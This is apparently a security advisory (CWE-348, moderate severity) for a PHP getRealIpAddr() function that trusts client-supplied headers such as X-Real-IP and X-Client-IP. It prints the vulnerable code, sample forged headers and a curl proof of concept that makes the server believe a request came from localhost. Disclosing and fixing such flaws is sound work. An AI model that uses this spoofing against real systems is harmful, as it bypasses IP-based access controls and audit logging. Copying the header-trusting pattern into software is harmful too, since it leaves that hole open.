The getRealIpAddr() function in objects/functions.php trusts user-controlled HTTP headers to determine the client's IP address.
An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging.
File: objects/functions.php
$headers = [
'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'REMOTE_ADDR'
];
foreach ($headers as $header) {
if (!empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
foreach ($ips as $ipCandidate) {
$ipCandidate = trim($ipCandidate);
if (filter_var($ipCandidate, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4)) {
return $ipCandidate;
}
}
}
}
X-Client-IP: 127.0.0.1
or
X-Real-IP: 192.168.1.1
getRealIpAddr() returns the forged IPcurl -H "X-Client-IP: 127.0.0.1" \
https://target.com/any_endpoint.php
The server now believes the request came from localhost.
{
"cwe_ids": [
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:54:42Z",
"nvd_published_at": "2026-03-23T19:16:42Z",
"severity": "MODERATE"
}